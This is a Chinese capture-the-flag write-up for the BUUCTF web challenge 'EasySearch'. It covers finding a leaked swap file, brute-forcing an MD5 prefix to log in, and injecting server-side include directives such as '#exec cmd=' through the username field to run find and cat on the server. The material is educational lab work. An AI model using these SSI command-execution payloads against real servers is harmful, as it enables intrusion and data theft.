BUUCTF-WEB 【BJDCTF2020】EasySearch 1

考点:SSI(服务端包含)题

打开

image-20210416163614167

发现又是一道登录题,肯定先想到sql注入,各种报错测试,都只是返回一个框。

扫目录,直接就是dirsearch开扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
F:\Tools\WEB\Python-Tools\dirsearch-master>python3 dirsearch.py -u "http://82e12f9d-f5e7-44cd-b5bc-13e1f75f81a9.node3.buuoj.cn" -t 10 -s 1

_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 10 | Wordlist size: 10849

Error Log: F:\Tools\WEB\Python-Tools\dirsearch-master\logs\errors-21-04-16_16-37-46.log

Target: http://82e12f9d-f5e7-44cd-b5bc-13e1f75f81a9.node3.buuoj.cn/

Output File: F:\Tools\WEB\Python-Tools\dirsearch-master\reports\82e12f9d-f5e7-44cd-b5bc-13e1f75f81a9.node3.buuoj.cn\_21-04-16_16-37-46.txt

[16:37:46] Starting:
[16:37:46] 200 - 1KB - /index.php.swp

得到一个index.php.swp 文件,这里有一个问题,就是开了代理去扫,是扫不出来这个文件的,我也老是忘记关代理。

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
# 弱类型 只需要找到 md5加密后前6位跟 6d0bc1 相同即可
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
# 构建文件路径
$file_shtml = "public/".get_hash().".shtml";
# 创建文件
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
#
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
# 将 变量$text 的内容 写入 $shtml 文件
fwrite($shtml,$text);
# 关闭文件
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

第一个条件是 if ( $admin == substr(md5($_POST['password']),0,6))$admin = '6d0bc1'; ,要求是md5加密某个字符串,然后截取前6位,得到的结果要 与 $admin 相等。

上脚本

1
2
3
4
5
6
7
import hashlib

for i in range(100000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

if a[0:6] == '6d0bc1':
print(i)
1
2
3
F:\Tools\WEB\Python-Tools>python3 ctf-指定hash计算.py
2020666
2305004

两个都能用。

接下来就是最关键的地方了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$file_shtml = "public/".get_hash().".shtml";
# 创建文件
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
#
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
# 将 变量$text 的内容 写入 $shtml 文件
fwrite($shtml,$text);
# 关闭文件
fclose($shtml);

大概意思就是,会创建一个包含路径的shtml 文件,会将$_POST['username']的值写入到文件中,然后保存,关闭。包含路径的文件会返回到Respone头中。

大概了解了下,这个属于SSI漏洞,相当于是可用执行命令,通过规定的语法。

直接payload

1
<!--#exec cmd="find / --name flag*"-->
1
2
POST
username=%3C%21--%23exec+cmd%3D%22find+%2F+-name+flag*%22--%3E&password=2305004

image-20210416164923962

打开

1
public/34fb7252b9dff84b7edd3685b1c691fdd6293a00.shtml

image-20210416165355266

再一次提交

1
2
POST
username=<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->&password=2305004

image-20210416165736472